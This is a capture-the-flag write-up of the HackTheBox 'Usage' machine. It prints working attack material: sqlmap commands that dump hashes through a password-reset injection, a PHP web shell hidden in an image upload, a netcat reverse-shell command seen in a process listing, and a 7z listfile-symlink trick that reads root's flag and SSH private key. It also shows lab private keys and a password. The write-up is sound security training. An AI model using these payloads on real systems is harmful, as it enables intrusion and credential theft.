Skip to content

HTB: Usage

Summary with Spoilers

This Linux box is running Laravel, and there's a tricky SQL injection vulnerability that allows the recovery of an Administrator hash. That login reveals an admin dashboard with a flaw in its file upload checking, allowing the creation of a malicious PHP file leading to RCE. A combination of password reuse and a flaw in 7z file contents disclosure leads to PE.

Services

TCP

# Nmap 7.94SVN scan initiated Mon May 20 16:47:08 2024 as: nmap -v -sCV -p- -T4 -oN tcpfull t
Nmap scan report for t (10.10.11.18)
Host is up (0.099s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80/tcp Http

$ whatweb -a3 http://t
http://t [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.18], RedirectLocation[http://usage.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://usage.htb/ - no address for usage.htb

Added usage.htb to /etc/hosts:

The "Admin" link points toward https://admin.usage.htb, so I add that vhost as well.

This one sets a cookie named laravel_session. Laravel is "The PHP Framework for Web Artisans". The cookie, once decoded, contains:

{"iv":"J8vOt50734iALArTt9rbGg==","value":"5lIFfs5SxeO4rPNkPWjHF8xZYyo7sSNTNGh4VwLMOfBtxhxlRefv/4fJbZ0YFPA9gh0g6jg1KhtUzmghU5KgoJB roEeSAWmwO1VHLLf7eq8ElLaETXU3EXWpfkQvG6V","mac":"8f4a7239d0b593011ffd1850cae81d430ee2352949b700810408182cff60fe72","tag":""}

I'm able to register a user, so I do:

POST /post-registration HTTP/1.1
Host: usage.htb
Content-Length: 104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/registration
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6InJkWTk3dmFPNy9lYTFaVy9JTmZ3WXc9PSIsInZhbHVlIjoiVGp5Zld4aExkSHc5STgrVmF5UDdmNEFITkQ4Q28yMnk3LzlaQnI2MnJWNDZsVW5oLzJKb1dpV05kRTNUN2pJazJLaFYrMC9lV0UzQVpQd2NvUG5yK0plZTU0R25aTDdZZDZVeU5jcE5ZVWpiMDMyZXYwemtoYTFyTk1DWlNzU1AiLCJtYWMiOiI5MmZhOTQ5NDk4MjY0MzgxYzZmNTBmMGFlNmU0OWMwMWFhYzY3ZTY1YzFiOWExYmNmOWYyZTJjNTI1ZWEyYWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdqUzRGK1B0R2crU2EyVkNJUHM5M0E9PSIsInZhbHVlIjoiVnRNY05mdEVTUGVvVmFuUktSaHdDNUpFdTFoVDFwQXFuNkU2a0pITUZ5S0NqYmEwL1YrYmFaNzdIUjFVbkZDMlJueVA5NzAvTzZzREZUKzhySU5OWmhFRlNyRlpHTkN6WjI5aWgzcHllc0dzVllCakpWUjloOCtWLzNpM0NCaDgiLCJtYWMiOiJlYzk5OTQwYzdiYTk1NmU2Zjg3NmYxNGRkMTdhMmE5NWI4MGVjMDEyODA2MmNiZTEwYWRkZjgyOWIwMTFmNTE0IiwidGFnIjoiIn0%3D
Connection: close
_token=9R4j5sZdrIxsRJeIMK6xdvxzCNuMKTquWuPoxM2i&name=hax&email=hax%40hax.hax&password=haxhax&remember=on

The decoded cookie values are:

{"iv":"qnf8kpie1E5vWqrijY74vw==","value":"KraIWMOezy6OaFpaheobAfwiEFDJpMv5jbmAx4rvZWUWettpVyW74w23vMvliv4qnF4wmbwQ9o/IWHMMxvfyMV6Iv5OHxQfGIHxFKcfKIwy5C5qsED1dqGVmJn+Mpd5T","mac":"c2088ddc19423063c199d178edbf4c48c981cc16a5edb0fba2f80ba8230984a9","tag":""}

I try the same credentials for admin.usage.htb but no joy.

I can't yet tell what version of Laravel this is, but if it's old enough there's a cookie forgery attack I can try.

ffuf found this, there might be another vector via AdminLTE:

200      GET       10l       80w     4516c http://admin.usage.htb/vendor/laravel-admin/AdminLTE/plugins/iCheck/icheck.min.js

RCE

There is a SQL injection opportunity on the "Reset Password" interface. Submitting ' as the email address throws a server error.

I save this request to a file named req:

POST /forget-password HTTP/1.1
Host: usage.htb
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/forget-password
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IlVicFpVR0pnMTdFcEJ4TXZxeXBNS3c9PSIsInZhbHVlIjoiRjRQVkdEcjkwejc3ZVB0aVpqZVpaUVgwUzF6SEV4SnE4ZkZyWWZPNHJnWnF2MWYvSGV1eVA0czd3akpQbTVIeHlaNzNHU3hRVjQ0Z20yT1ZVOFRVWVdtZlVwYXpOWWJmUEtkQjBvWFR4Wlp3SHF1NVRrSzhxVUhEV2VvejhOaXUiLCJtYWMiOiJhOGUwZmZlODMxODllYWNjNGVhNWQxMTFjMWNhNDhjNTY1NjY4M2RkYmFjOTNlMTYyYzQ3ZjJkNTBjYTkxMjg0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl0MFBCL0lWeTFGTnpRbjFnZXVZaWc9PSIsInZhbHVlIjoiaHFsTkx1WTZTWThweDNiRWE5WStPYnhlc09rczh1enJxVUlBdjR2SXlNQ0dhMldhUzA0QTljU012WmZzWFhORlZNZXQyRXBURzcrZVJCd2p6WXJMYzExS0tSWnhzaTN0N3RyVlF4OFA2eUNmd2piTXNSclVVdGlYUXo5bjNJSXUiLCJtYWMiOiI2NTIxOTMyNzg0ZGY2ZjhmYjQ0ZTQ0ZjZjM2ViNDM4OGVmMWI4MWJiMzVmNTA1ZWU3YjU3MDljYTI0MjU3YjZkIiwidGFnIjoiIn0%3D
Connection: close
_token=jBbU7duY0T9uBJYEdj1vGIF6SiFUpBTF5GTnbUm7&email=asdf

I run sqlmap using the request above:

$ sqlmap -r req -p email --batch --level 5 --risk 3 --dbms=mysql --dbs
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
[16:33:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 469 times
[16:33:43] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/usage.htb'
[*] ending @ 16:33:43 /2024-05-27/

sqlmap is like magic:

$ sqlmap -r req -p email --batch --level 5 --risk 3 --dbms=mysql --threads 6 --tables
...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
...
$ sqlmap -r req -p email --batch --level 5 --risk 3 --dbms=mysql --threads 6 -D usage_blog -T users --dump
...
Database: usage_blog
Table: users
[3 entries]
+----+---------------+--------+-----------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| id | email         | name   | password                                                        | created_at          | updated_at          | remember_token | email_verified_at |
+----+---------------+--------+-----------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| 1  | raj@raj.com   | raj    | $2y$10$7ALmTTEYfRVd8Rnybp/ck.bSF>fXfslkPL(yQ`Ig\x1eTT7X.wAhJt4. | 2023-08-17 03:16:02 | 2023-08-17 03:16:02 | NULL           | NULL              |
| 2  | raj@usage.htb | raj    | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.mDg0^BzgI/UhwHvfHDdfdfo9VmDJsa    | 2023-08-22 08:55:16 | 2023-08-22 08:55:16 | NULL           | NULL              |
| 3  | hax@hax.hax   | hax    | $2y$10$07NLBYCJMQZPGLN9xuJec.DL/Y9zlMhQty.N4fT@okc3H81WTdlqG    | 2024-05-27 21:32:55 | 2024-05-27 21:32:55 | NULL           | NULL              |
+----+---------------+--------+-----------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+

There are two problems I see with those hashes. First, they look malformed, containing characters like ` (back-tick) and ^B. Even if they weren't malformed, they look like bcrypt hashes which are usually too computationally intensive for me to crack.

Here's the usage_blog.admin_users table as well:

Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

Luckily, this one cracks with the wordlist xato-net-10-million-passwords-100000.txt. Now I can access the admin account on admin.usage.htb.

Looking through the logs, I found an older hash for Adminstrator:

I remove the backslash and run it through hashcat, and it's not a terribly exciting result:

$2y$10$E9.N1P92fYSjJGQDfBrUaO05EHW4BxiQITrqjde/WQMKnAQ7k2HJK:admin

But there is an exploit, see this PoC for CVE-2023-24249.

So, I change the profile photo to capture the request in Burp, and modify the request:

------WebKitFormBoundaryMz8YA4BwOMraIuYg
Content-Disposition: form-data; name="avatar"; filename="sh.php"
Content-Type: image/jpeg
<?PHP system($_GET["cmd"]); ?>

But every time I try to modify the request, even if I modify the request in transit by holding it at the proxy, I get "page expired":

So I'll try the technique of putting the PHP code in the comment of an actual image file, and just change the filename extension.

$ cp ~/Downloads/user2-160x160.jpg ./profile.jpg

$ exiftool -Comment='<?php system($_GET["cmd"]); ?>' profile.jpg
    1 image files updated

But, same result: PAGE EXPIRED

I finally get it to work, but I had to be really fast. I submitted the profile upload POST request with the malicious profile.jpg, held up the packet at Burp's intercept, tacked on .php to the filename in the request, and it works as user dash:

But the file gets reset by a cronjob or something before I can spawn the shell:

After a few tries I'm quick enough to get the reverse shell:

dash@usage:~$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash@usage:~$ cat user.txt
1927d61...

PE

I went to add my SSH key for more stable shell access, and find that the dash user has a private key available:

dash@usage:~$ ls .ssh
authorized_keys  id_rsa  id_rsa.pub
dash@usage:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdMauKUX/tjPBrA9mDQu9GWQQwlIlDEJfDFP6Rj3dKmamcAvRTvdhGc0th3AZWNhs7jkW0gjUH8yBAjbII2vGX/VnUm9FJD3tPxP0z7GbEvMiEVHgcYjgdM6cZB2gjfR1aRrmdUXROsQMviFJeDJyxPN9nU2K1aAaBE9zeXlcObMgjc+yJMevB/JtBaNUGWqVBYqZXN1WgPoo2i1xiCPGcZUO+pU7PXybRm0WR8xuQCBQAcQc6tMCcOYtjq54RMXVCWDLi2JMj+XjnYggMZ2EwY0rFb8SGdotoeqUYbAT3dwjv49z/p2yiBtUIS1Mp8l+h8HEzRdD3s6kstmMu6P6JN+Mhz6rowo35ndV1NOaORONUGcOqI0AHzG27TTITeRHep5jkCVeXPkbMasPZczWACaXrDkrvgeMWf9fiXGXM5nF+7nh/++R92gvzTw4hzzvTs3cK9WcDBF8pLvRVYQuKrIPux4zjOYzaQdCI8fLR2tn/CXpFDHHZ0B3zsBsBm9s= dash@usage
dash@usage:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA3TGrilF/7YzwawPZg0LvRlkEMJSJQxCXwxT+kY93SpmpnAL0U73Y
RnNLYdwGVjYbO45FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HTOnGQ
doI30dWka5nVF0TrEDL4hSXgycsTzfZ1NitWgGgRPc3l5XDmzII3PsiTHrwfybQWjVBlql
QWKmVzdVoD6KNotcYgjxnGVDvqVOz18m0ZtFkfMbkAgUAHEHOrTAnDmLY6ueETF1Qlgy4t
...

So I copy that and add it to my attack host for regular SSH access:

$ chmod 400 dash.id_rsa
  kali@kali:~/htb-usage/
$ ssh -i ./dash.id_rsa dash@t
Warning: Permanently added 't' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
Last login: Mon Apr  8 12:35:43 2024 from 10.10.14.40
dash@usage:~$

Found a password in /home/dash/.monitrc:

dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60
#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert
#System Monitoring
...

There's a monit process listening on port 2812:

dash@usage:~$ netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1277/nginx: worker
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:2812          0.0.0.0:*               LISTEN      3824/monit
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
dash@usage:~$ ps faxuw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
dash        3618  0.0  0.1   8816  5632 pts/1    Ss   17:19   0:00 -bash
dash        3832  0.0  0.0  10044  1604 pts/1    R+   17:27   0:00  \_ ps faxuw
dash        1278  0.0  0.1  66220  6676 ?        S    16:03   0:00 nginx: worker process
dash        1277  0.0  0.1  66496  7108 ?        S    16:03   0:03 nginx: worker process
dash        3389  0.0  0.0   2892   968 ?        S    17:14   0:00 sh -c busybox nc 10.10.14.2 443 -e bash
dash        3390  0.0  0.0   4364  3152 ?        S    17:14   0:00  \_ bash
dash        3400  0.0  0.0   2808  1104 ?        S    17:14   0:00      \_ script /dev/null -c bash
dash        3401  0.0  0.0   2892   988 pts/0    Ss   17:14   0:00          \_ sh -c bash
dash        3402  0.0  0.1   5684  5012 pts/0    S+   17:14   0:00              \_ bash
dash        3824  0.0  0.0  84692  3476 ?        Sl   17:25   0:00 /usr/bin/monit
dash        3508  0.0  0.2  17068  9536 ?        Ss   17:19   0:00 /lib/systemd/systemd --user

Since it's running as the user dash (my existing user) I don't so a PE path with that. However, the same password works for the user xander:

dash@usage:~$ su - xander
Password:
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

One script is allowed via Sudo:

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
xander@usage:~$ ls -l /usr/bin/usage_management
-rwxr-xr-x 1 root root 16312 Oct 28  2023 /usr/bin/usage_management
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
...
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
_cxa_finalize@GLIBC_2.2.5
...

I'll try running it:

xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)
Scanning the drive:
2984 folders, 17945 files, 113878700 bytes (109 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20929
Files read from disk: 17945
Archive size: 54829551 bytes (53 MiB)
Everything is Ok

Since mysql_backup.sql is readable, here are the hashes that sqlmap mangled earlier, although this doesn't help with PE:

INSERT INTO `users` VALUES (1,'raj','raj@raj.com',NULL,'$2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4.',NULL,'2023-08-17 03:16:02','2023-08-17 03:16:02'),(2,'raj','raj@usage.htb',NULL,'$2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa',NULL,'2023-08-22 08:55:16','2023-08-22 08:55:16');

HackTricks has what I need.

With permission to write to /var/www/html as user dash, I can exploit that quirk in 7z which is run via Sudo as the other user, xander.

As user dash:

dash@usage:/var/www/html$ touch @listfile && ln -s /root/root.txt listfile

As user xander:

xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830330
Scanning the drive:
WARNING: No more files
195d7eA...
2984 folders, 17947 files, 113878733 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20931
Files read from disk: 17947
Archive size: 54830472 bytes (53 MiB)
Scan WARNINGS for files and folders:
195d7eA... : No more files
----------------
Scan WARNINGS: 1

Since @listfile points to a file that is not a list of files, 7z throws a warning which happens to contain the contents of the file, and in this case it's the root flag.

This technique could allow reading /etc/shadow for (slowly) cracking hashes. In this case there's a /root/.ssh/id_rsa file that may be read using the same technique, i.e.: touch @listfile && ln -s /root/.ssh/id_rsa listfile

Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

After cleaning up the output and formatting it properly into an SSH key, it works:

$ ssh -i ./root.id_rsa root@t
Warning: Permanently added 't' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
Last login: Mon Apr  8 13:17:47 2024 from 10.10.14.40
root@usage:~# id
uid=0(root) gid=0(root) groups=0(root)

Open Questions

Unresolved issues encountered while attacking this target.

  • Why did sqlmap dump the hashes incorrectly? Some of the characters were mangled. Errors in interpreting the statistics in blind responses?
  • How would I have done any of that without sqlmap?

Credits

Thanks to this writeup by BXDMAN for identifying the SQLi and how to exploit it. The walkthrough for HTB machine "CTF" was also useful for the 7z file disclosure exploit.